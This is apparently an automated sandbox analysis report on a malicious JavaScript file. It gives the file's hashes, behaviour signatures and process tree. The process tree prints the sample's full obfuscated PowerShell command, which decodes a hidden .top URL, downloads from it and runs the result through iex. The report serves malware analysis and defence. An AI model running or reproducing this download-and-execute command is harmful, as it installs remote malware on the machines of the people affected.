Analysis
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max time kernel
94s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
21-12-2024 15:13
Static task
static1
Behavioral task
behavioral1
Sample
cb18ea9bd1276d8692900fe139ee0dd9aaff882a4b66dc883f4739b9046ede7b.js
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
cb18ea9bd1276d8692900fe139ee0dd9aaff882a4b66dc883f4739b9046ede7b.js
Resource
win10v2004-20241007-en
General
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Target
cb18ea9bd1276d8692900fe139ee0dd9aaff882a4b66dc883f4739b9046ede7b.js
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Size
201KB
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MD5
c71db149c7c1b853f4c0479019433510
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SHA1
e11559374b388818531f0f603acd4513ae398b7b
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SHA256
cb18ea9bd1276d8692900fe139ee0dd9aaff882a4b66dc883f4739b9046ede7b
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SHA512
b87fec34c9f7748d8bf54194fb47108772a94c4fc180f90f8f67591464163c2dc88d9a71cb756a6e7503422960c38359d1d13630c6e30ce861b78da4e11f2379
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SSDEEP
1536:nwpXxvpKC/UoNm+pflcKSjue/9j7jk1wt3PSQ/KKC/UoNm+pfQcKSjue/9j7jk1H:n2csBrf9m+csBmf9m/f9mRcsBWcsBK
Malware Config
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1740 2924 conhost.exe 83 -
Blocklisted process makes network request 1 IoCs
flow pid Process 6 2220 powershell.exe -
Command and Scripting Interpreter: JavaScript 1 TTPs
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Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 2220 powershell.exe 2220 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2220 powershell.exe -
Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 1740 wrote to memory of 2220 1740 conhost.exe 85 PID 1740 wrote to memory of 2220 1740 conhost.exe 85
Processes
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C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\cb18ea9bd1276d8692900fe139ee0dd9aaff882a4b66dc883f4739b9046ede7b.js1⤵PID:4640
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C:\Windows\system32\conhost.execonhost --headless powershell $dtbvljaqiu='ur' ;new-alias printout c$($dtbvljaqiu)l;$vcezytfnrx=(789,800,808,792,794,789,809,808,813,746,808,742,789,737,807,802,803,738,740,737,803,795,803,754,806,752,800,796,801,807,806,741,740);$jrnbxzp=('bronx','get-cmdlet');$qvgurspm=$vcezytfnrx;foreach($fjbmol in $qvgurspm){$smtjkdrzxp=$fjbmol;$zbrohays=$zbrohays+[char]($smtjkdrzxp-691);$koleyfrdwjan=$zbrohays; $bjmosqeycpluz=$koleyfrdwjan};$kdvjolfux[2]=$bjmosqeycpluz;$hzpbgqjsvecmd='rl';$yoincfaj=1;.$([char](9992-9887)+'e'+'x')(printout -useb $bjmosqeycpluz)1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1740 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell $dtbvljaqiu='ur' ;new-alias printout c$($dtbvljaqiu)l;$vcezytfnrx=(789,800,808,792,794,789,809,808,813,746,808,742,789,737,807,802,803,738,740,737,803,795,803,754,806,752,800,796,801,807,806,741,740);$jrnbxzp=('bronx','get-cmdlet');$qvgurspm=$vcezytfnrx;foreach($fjbmol in $qvgurspm){$smtjkdrzxp=$fjbmol;$zbrohays=$zbrohays+[char]($smtjkdrzxp-691);$koleyfrdwjan=$zbrohays; $bjmosqeycpluz=$koleyfrdwjan};$kdvjolfux[2]=$bjmosqeycpluz;$hzpbgqjsvecmd='rl';$yoincfaj=1;.$([char](9992-9887)+'e'+'x')(printout -useb $bjmosqeycpluz)2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2220
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82